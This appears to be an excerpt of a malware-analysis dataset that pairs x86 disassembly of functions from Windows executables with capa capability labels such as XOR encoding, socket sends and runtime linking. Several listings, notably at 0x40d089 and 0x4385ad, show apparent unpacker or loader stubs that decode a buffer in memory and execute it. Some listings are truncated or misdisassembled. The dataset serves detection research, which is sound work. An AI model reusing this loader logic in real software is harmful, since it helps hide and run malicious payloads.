joyce8/EMBER2024-capa huggingface dataset:
Function at 0x438380
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
movzx eax, byte [ebx]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [ebx + 1]
mov esi, dword [edi + 0xc]
xor edx, eax
movzx eax, byte [ebx + 2]
imul edx, edx, 0x1000193
xor edx, eax
movzx eax, byte [ebx + 3]
imul ecx, edx, 0x1000193
mov edx, dword [edi + 4]
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [edi + 0x18]
and ecx, eax
mov eax, dword [esi + ecx*8]
add ecx, ecx
mov ebx, dword [esi + ecx*4]
lea edi, [esi + ecx*4]
mov esi, dword [ebp + 0xc]
cmp ebx, edx
jne 0x4383de
mov ecx, edx
jmp 0x4383e3
mov ecx, dword [edi + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x438432
mov ecx, dword [eax + 8]
cmp ecx, dword [esi]
je 0x4383f2
mov eax, dword [eax]
jmp 0x4383d6
mov esi, dword [esi]
mov ecx, eax
mov dword [ebp + 0xc], esi
nop dword [eax]
cmp ebx, edx
jne 0x438408
mov esi, edx
jmp 0x43840d
mov esi, dword [edi + 4]
mov esi, dword [esi]
cmp eax, esi
je 0x43841d
mov esi, dword [ebp + 0xc]
cmp esi, dword [eax + 8]
jne 0x43841d
mov eax, dword [eax]
jmp 0x438400
cmp ecx, eax
je 0x438432
mov edx, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [edx + 4], eax
mov eax, edx
mov dword [edx], ecx
pop ebp
ret 8
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [eax], edx
mov dword [eax + 4], edx
pop ebp
ret 8

Function at 0x4384b0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, ecx
movzx eax, byte [edi + 8]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [edi + 9]
xor edx, eax
movzx eax, byte [edi + 0xa]
imul edx, edx, 0x1000193
xor edx, eax
movzx eax, byte [edi + 0xb]
imul ecx, edx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [ebx + 0x18]
and ecx, eax
lea edx, [ecx*8]
mov ecx, dword [ebx + 0xc]
add ecx, edx
cmp dword [ecx + 4], edi
jne 0x438521
cmp dword [ecx], edi
jne 0x438519
mov eax, dword [ebx + 4]
mov dword [ecx], eax
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
mov dword [edx + ecx + 4], eax
jmp 0x438529
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
jmp 0x438529
cmp dword [ecx], edi
jne 0x43852c
mov eax, dword [edi]
mov dword [ecx], eax
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 4]
mov esi, dword [edi]
push edi
mov dword [eax], esi
mov ecx, dword [edi]
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
dec dword [ebx + 8]
call fcn.0049478f
mov eax, dword [ebp + 8]
add esp, 4
pop edi
mov dword [eax], esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x438560
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x4e35a0]
test eax, eax
je 0x43856e
cmp eax, 1
jne 0x4385b5
mov ecx, 1
mov edx, 0x4e35a0
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x4385a8
push 0x290
call fcn.00494794
add esp, 4
test eax, eax
je 0x4385a0
mov ecx, eax
call fcn.00435060
mov dword [0x4e35a0], eax
ret
xor eax, eax
mov dword [0x4e35a0], eax
ret
push 0x4e35a0
in eax, dx
Function at 0x4385ad
Capabilities:
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor ebp, ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 4], eax
add al, 0x55
push ebp
push dword [0x4de240]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [esp + 8], eax
push dword [0x4de250]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push 0x104
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
movzx ecx, word [ebx + ebp*2]
cmp cx, 0x5c
mov esi, ebp
je 0x4385ff
mov esi, eax
inc ebp
test cx, cx
mov eax, esi
jne 0x4385f1
mov ebp, dword [0x4de21c]
cmp dword [ebp], 0
je 0x43865a
lea edi, [ebx + esi*2 + 2]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp byte [ebp], al
je 0x43862c
cmp byte [ebp + 1], al
jne 0x43870e
movzx ecx, word [edi]
xor eax, eax
test cx, cx
je 0x43864c
lea edx, [ebx + esi*2 + 4]
xor eax, eax
movzx ecx, cx
add eax, ecx
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x43863c
cmp eax, dword [ebp + 4]
je 0x43865a
cmp eax, dword [ebp + 8]
jne 0x43870e
xor edi, edi
mov dword [esp], edi
mov ebx, dword [0x4de250]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0xfffffffc
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x4de248]
mov ecx, dword [ecx + esi + 4]
mov dword [eax + esi + 4], ecx
add esi, 4
cmp esi, 0x1c
jb 0x438679
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x43870e
mov edi, eax
mov ebx, dword [0x4de210]
mov esi, esp
push esi
push dword [0x4de244]
push 0x6000
push ebx
call eax
mov ecx, dword [0x4de254]
mov edx, dword [esp + 4]
mov eax, dword [edx + ecx + 4]
lea ecx, [edx + ecx + 8]
mov edx, 4
mov ebp, dword [ecx + edx - 4]
add ebp, eax
mov dword [ebx + edx + 4], ebp
add edx, 4
cmp edx, 0x5ffc
jb 0x4386ce
mov eax, dword [0x4de24c]
mov dword [ebx + 8], eax
push esi
push dword [esp + 4]
push 0x6000
push ebx
call edi
mov eax, dword [0x4de230]
add eax, ebx
add eax, dword [ebx + 0xc]
add ebx, dword [0x4de230]
push ebx
call eax
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4385c0
Capabilities:
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
xor ebp, ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 4], eax
add al, 0x55
push ebp
push dword [0x4de240]
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [esp + 8], eax
push dword [0x4de250]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push 0x104
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
movzx ecx, word [ebx + ebp*2]
cmp cx, 0x5c
mov esi, ebp
je 0x4385ff
mov esi, eax
inc ebp
test cx, cx
mov eax, esi
jne 0x4385f1
mov ebp, dword [0x4de21c]
cmp dword [ebp], 0
je 0x43865a
lea edi, [ebx + esi*2 + 2]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp byte [ebp], al
je 0x43862c
cmp byte [ebp + 1], al
jne 0x43870e
movzx ecx, word [edi]
xor eax, eax
test cx, cx
je 0x43864c
lea edx, [ebx + esi*2 + 4]
xor eax, eax
movzx ecx, cx
add eax, ecx
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x43863c
cmp eax, dword [ebp + 4]
je 0x43865a
cmp eax, dword [ebp + 8]
jne 0x43870e
xor edi, edi
mov dword [esp], edi
mov ebx, dword [0x4de250]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0xfffffffc
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [0x4de248]
mov ecx, dword [ecx + esi + 4]
mov dword [eax + esi + 4], ecx
add esi, 4
cmp esi, 0x1c
jb 0x438679
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x43870e
mov edi, eax
mov ebx, dword [0x4de210]
mov esi, esp
push esi
push dword [0x4de244]
push 0x6000
push ebx
call eax
mov ecx, dword [0x4de254]
mov edx, dword [esp + 4]
mov eax, dword [edx + ecx + 4]
lea ecx, [edx + ecx + 8]
mov edx, 4
mov ebp, dword [ecx + edx - 4]
add ebp, eax
mov dword [ebx + edx + 4], ebp
add edx, 4
cmp edx, 0x5ffc
jb 0x4386ce
mov eax, dword [0x4de24c]
mov dword [ebx + 8], eax
push esi
push dword [esp + 4]
push 0x6000
push ebx
call edi
mov eax, dword [0x4de230]
add eax, ebx
add eax, dword [ebx + 0xc]
add ebx, dword [0x4de230]
push ebx
call eax
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x458330
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ecx]
mov ecx, dword [ecx + 4]
sub ecx, edi
sar ecx, 2
test ecx, ecx
je 0x4583a0
push ebx
push esi
mov ebx, ecx
mov eax, dword [edi]
lea edi, [edi + 4]
movzx esi, cl
movzx edx, al
xor esi, edx
shr ecx, 8
mov dword [ebp - 4], eax
movzx eax, ah
xor ecx, dword [esi*4 + 0x4c36c0]
movzx edx, cl
xor edx, eax
shr ecx, 8
movzx eax, byte [ebp - 2]
xor ecx, dword [edx*4 + 0x4c36c0]
movzx edx, cl
xor edx, eax
shr ecx, 8
movzx eax, byte [ebp - 1]
xor ecx, dword [edx*4 + 0x4c36c0]
movzx edx, cl
xor edx, eax
shr ecx, 8
xor ecx, dword [edx*4 + 0x4c36c0]
sub ebx, 1
jne 0x458347
pop esi
pop ebx
mov eax, ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x47eb40
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
mov eax, dword [0x4de4e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x90c], edi
mov ebx, dword [edi]
mov dword [ebp - 0x908], ebx
mov esi, dword [ebx + 0x8664]
mov eax, dword [esi + 0x1ab0]
sub eax, dword [esi + 0x1aac]
add eax, 2
push eax
lea eax, [esi + 0x18ac]
push eax
push 0x3c
push ebx
call fcn.0047e4a0
mov eax, dword [esi + 0x1aac]
add esp, 0x10
movzx ecx, byte [eax]
inc eax
mov dword [esi + 0x1aac], eax
cmp ecx, 0x18
je 0x47ecf8
cmp ecx, 0x23
je 0x47ecd4
cmp ecx, 0x27
jne 0x47ed86
push 0
push ecx
push 0xfa
push 0xff
push str._c_c_c_c
lea eax, [ebp - 0x904]
push 0x800
push eax
call fcn.004729f0
mov esi, dword [esi + 0x18a8]
add esp, 0x1c
mov edi, 4
mov eax, 0x800
test esi, esi
je 0x47ec73
mov edx, dword [esi]
mov ecx, edx
lea ebx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47ec00
sub ecx, ebx
lea ebx, [edi + 1]
add ebx, ecx
cmp ebx, 0x7fa
jae 0x47ec61
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x104]
push eax
push str._127_____127s
push edx
call fcn.00466f80
lea eax, [ebp - 0x84]
push eax
push 1
lea eax, [ebp - 0x104]
push eax
push 0
mov eax, 0x800
sub eax, edi
push str._c_s_c_s
push eax
lea eax, [ebp - 0x904]
add eax, edi
push eax
call fcn.004729f0
add esp, 0x2c
mov edi, ebx
mov esi, dword [esi + 4]
test esi, esi
jne 0x47ebf4
mov ebx, dword [ebp - 0x908]
mov eax, 0x800
push 0xf0
push 0xff
sub eax, edi
push 0x4c8a18
push eax
lea eax, [ebp - 0x904]
add eax, edi
push eax
call fcn.004729f0
add esp, 0x14
lea eax, [edi + 2]
push 0
push eax
lea eax, [ebp - 0x904]
push eax
mov eax, dword [ebp - 0x90c]
push dword [eax + 0x130]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x47ecce
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.00470960
add esp, 0xc
push edi
jmp 0x47ed74
lea edx, [esi + 0x1828]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47ece0
push 0xf0
push 0xff
push edx
push 0
push 0x23
jmp 0x47ed19
lea edx, [esi + 0x1808]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47ed03
push 0xf0
push 0xff
push edx
push 0
push 0x18
push 0xfa
push 0xff
push str._c_c_c_c_s_c_c
sub ecx, esi
lea eax, [ebp - 0x904]
push 0x800
push eax
lea esi, [ecx + 6]
call fcn.004729f0
add esp, 0x28
lea eax, [ebp - 0x904]
push 0
push esi
push eax
push dword [edi + 0x130]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x47ed70
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push ebx
call fcn.00470960
add esp, 0xc
lea eax, [esi - 2]
push eax
lea eax, [ebp - 0x902]
push eax
push 0x3e
push ebx
call fcn.0047e4a0
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049510d
mov esp, ebp
pop ebp
ret
Function at 0x482280
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x4de4e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, dword [eax]
or ebx, 0xffffffff
mov edi, dword [eax + 0x134]
push 1
push 0
push esi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 0x10
call fcn.00471410
mov ecx, eax
add esp, 0xc
test ecx, ecx
js 0x4822f5
nop
mov eax, 0x3e8
cmp ecx, eax
cmovl eax, ecx
push eax
push 0xffffffffffffffff
push edi
call fcn.0047d410
add esp, 0xc
cmp eax, 0xffffffff
je 0x4823a9
test eax, eax
jne 0x482319
push 1
push eax
push esi
call fcn.00471410
mov ecx, eax
add esp, 0xc
test ecx, ecx
jns 0x4822c0
push str.Timeout_while_waiting_for_server_connect
push esi
call fcn.00470960
add esp, 8
mov eax, 0x1c
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049510d
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x482344
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x10
push eax
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.WS2_32.dll_accept]
mov ebx, eax
push edi
mov edi, dword [ebp - 0x1c]
push edi
call fcn.004710b0
add esp, 8
cmp ebx, 0xffffffff
jne 0x48237a
push str.Error_accept__ing_server_connect
push esi
call fcn.00470960
add esp, 8
mov eax, 0x1e
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049510d
mov esp, ebp
pop ebp
ret
push str.Connection_accepted_from_server_n
push esi
call fcn.00470a30
push 1
push ebx
mov dword [edi + 0x134], ebx
call fcn.004899b0
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049510d
mov esp, ebp
pop ebp
ret
push str.Error_while_waiting_for_server_connect
push esi
call fcn.00470960
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 0x1e
pop edi
pop esi
pop ebx
call fcn.0049510d
mov esp, ebp
pop ebp
ret

Function at 0x484840
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
lea eax, [ecx - 0xc8]
mov edx, dword [edi]
cmp eax, 0x64
jb 0x48486f
push str.Couldnt_set_desired_mode
push edx
call fcn.00470960
add esp, 8
lea eax, [esi + 0x11]
pop edi
pop esi
pop ebp
ret
cmp ecx, 0xc8
je 0x484886
push ecx
push str.Got_a__03d_response_code_instead_of_the_assumed_200_n
push edx
call fcn.00470a30
add esp, 0xc
mov eax, dword [ebp + 0x10]
cmp eax, 0x13
jne 0x48489d
push edi
call fcn.00484390
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x14
jne 0x4848b1
push edi
call fcn.00483ed0
add esp, 4
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x15
jne 0x4848c9
push 0xd
push 1
push edi
call fcn.00484440
add esp, 0xc
mov esi, eax
pop edi
pop esi
pop ebp
ret
cmp eax, 0x16
jne 0x4848dd
push 0xe
push 1
push edi
call fcn.00484440
add esp, 0xc
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40d089
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40d098
pop dword [ebp - 0x40]
mov eax, 0x5821054c
add eax, 0xa81fcb4c
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x35813
push 0
mov eax, 0xc521f50d
add eax, 0x3b1eec13
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x4a189591
add ecx, 0xb5e7a326
mov esi, eax
mov edx, 0x417800
add edx, dword [ebp - 0x40]
mov ebx, 0x38b28fc1
sub ebx, 0x3b7cc5a5
mov dword [ebp - 0x2c], 0xf4769045
mov edi, dword [edx]
xor dword [ebp - 0x30], 0x42b69e33
add edi, ebx
add dword [ebp - 0x2c], 0xda60317d
mov dword [esi], edi
mov dword [ebp - 0x1c], 0x8acfb13a
add esi, 0x2484bf2d
add esi, 0xdb7b40d7
add edx, 0x3cf6f4d8
sub edx, 0x3cf6f4d4
loop 0x40d0f1
add eax, 0xd5af
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404723
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x404725
ret
Function at 0x10001c71
Capabilities:
Print debug messages

Disassembly:
push 4
mov eax, 0x1002b4ac
call fcn.1002a0c8
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 8]
lea edi, [esi + 4]
mov dword [esi], vtable.CMemMappedFile.0
xor ebx, ebx
mov ecx, edi
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
call fcn.10002a03
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov byte [esi + 0x30], 1
mov dword [ebp - 4], ebx
cmp byte [0x1003cde0], bl
je 0x10001cea
cmp dword [edi + 0x14], 0x10
jb 0x10001cc6
mov edi, dword [edi]
push edi
push str.CMemMappedFile__s__ctor__reference_
mov edi, 0x1003c7f0
push edi
call fcn.1001ca9d
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x10001cea
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push esi
call fcn.1001ca9d
pop ecx
mov eax, esi
call fcn.1002a091
ret 8

Function at 0x10001cfb
Capabilities:
Print debug messages

Disassembly:
push 4
mov eax, 0x1002b4ac
call fcn.1002a0c8
mov esi, ecx
mov dword [ebp - 0x10], esi
lea edi, [esi + 4]
mov dword [esi], vtable.CMemMappedFile.0
push edi
call fcn.100026c3
pop ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x20], ecx
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], ecx
mov byte [esi + 0x30], cl
mov dword [ebp - 4], ecx
cmp byte [0x1003cde0], cl
je 0x10001d6b
cmp dword [edi + 0x14], 0x10
jb 0x10001d46
mov edi, dword [edi]
push eax
push edi
push str.CMemMappedFile__s__ctor__new_with_size_lu_
mov edi, 0x1003c7f0
push edi
call fcn.1001ca9d
add esp, 0x10
cmp byte [0x1003cde0], 0
je 0x10001d6b
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, esi
call fcn.100031a0
mov eax, esi
call fcn.1002a091
ret 4

Function at 0x10001d7c
Capabilities:
Print debug messages

Disassembly:
push 4
mov eax, 0x1002b4ac
call fcn.1002a0c8
mov esi, ecx
mov dword [ebp - 0x10], esi
lea edi, [esi + 4]
mov dword [esi], vtable.CMemMappedFile.0
push edi
call fcn.100026c3
pop ecx
xor eax, eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov dword [ebp - 4], eax
cmp byte [0x1003cde0], al
je 0x10001de8
cmp dword [edi + 0x14], 0x10
jb 0x10001dc4
mov edi, dword [edi]
push edi
push str.CMemMappedFile__s__ctor__new_
mov edi, 0x1003c7f0
push edi
call fcn.1001ca9d
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x10001de8
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov eax, esi
call fcn.1002a091
ret
Function at 0x10002388
Capabilities:
Print debug messages

Disassembly:
push 0x20
mov eax, 0x1002b5ba
call fcn.1002a0fc
cmp byte [0x1003cde0], 0
mov ebx, 0x1003c7f0
mov esi, dword [ebp + 8]
je 0x100023ce
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x100023af
mov eax, dword [esi]
push eax
push str.CMemMappedFile_CreateAndLoadFromFile__file__11S_
push ebx
call fcn.1001ca9d
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100023ce
push ebx
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
xor edi, edi
call fcn.1001ca9d
test al, al
jne 0x1000243d
push 0x34
call fcn.1001ca9d
pop ecx
mov dword [ebp - 0x2c], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
test eax, eax
je 0x100023f8
mov ecx, eax
call fcn.10001d7c
mov edi, eax
jmp 0x100023fa
mov edi, ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
push esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
call fcn.10002a85
mov eax, dword [edi]
lea ecx, [ebp - 0x28]
push ecx
mov dword [ebp - 4], 1
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x1002e5c4]
mov ecx, edi
call esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 2
call fcn.1001ca9d
jmp 0x10002548
call fcn.1001bb6e
test al, al
je 0x100024fe
push esi
call fcn.1001ca9d
mov ebx, eax
pop ecx
test ebx, ebx
je 0x100024d1
cmp byte [0x1003cde0], 0
je 0x100024b4
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x1000246a
mov ecx, dword [esi]
push ecx
push str.CMemMappedFile::CreateAndLoadFromFile___11S_
mov edi, 0x1003c7f0
push edi
call fcn.1001ca9d
add esp, 0xc
cmp byte [0x1003cde0], 0
je 0x100024b4
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
cmp byte [0x1003cde0], 0
je 0x100024b4
push str.CMemMappedFile___remote_creation
push edi
call fcn.1001ca9d
cmp byte [0x1003cde0], 0
pop ecx
pop ecx
je 0x100024b4
push edi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push ebx
call fcn.1001b987
mov edi, eax
pop ecx
push esi
mov ecx, dword [edi]
mov esi, dword [ecx + 0x28]
mov ecx, esi
call dword [0x1002e5c4]
mov ecx, edi
call esi
jmp 0x10002548
cmp byte [0x1003cde0], 0
je 0x10002548
push str.CMemMappedFile__ERROR_diskFileSize__0_
mov esi, 0x1003c7f0
push esi
call fcn.1001ca9d
cmp byte [0x1003cde0], 0
pop ecx
pop ecx
je 0x10002548
push esi
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
jmp 0x10002548
cmp byte [0x1003cde0], 0
je 0x10002524
push str.CMemMappedFile___creation_deferred
push ebx
call fcn.1001ca9d
cmp byte [0x1003cde0], 0
pop ecx
pop ecx
je 0x10002524
push ebx
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
push 0x34
call fcn.1001ca9d
pop ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], 3
test eax, eax
je 0x10002546
push esi
mov ecx, eax
call fcn.1001ca9d
mov edi, eax
jmp 0x10002548
xor edi, edi
mov eax, edi
call fcn.1002a0a6
ret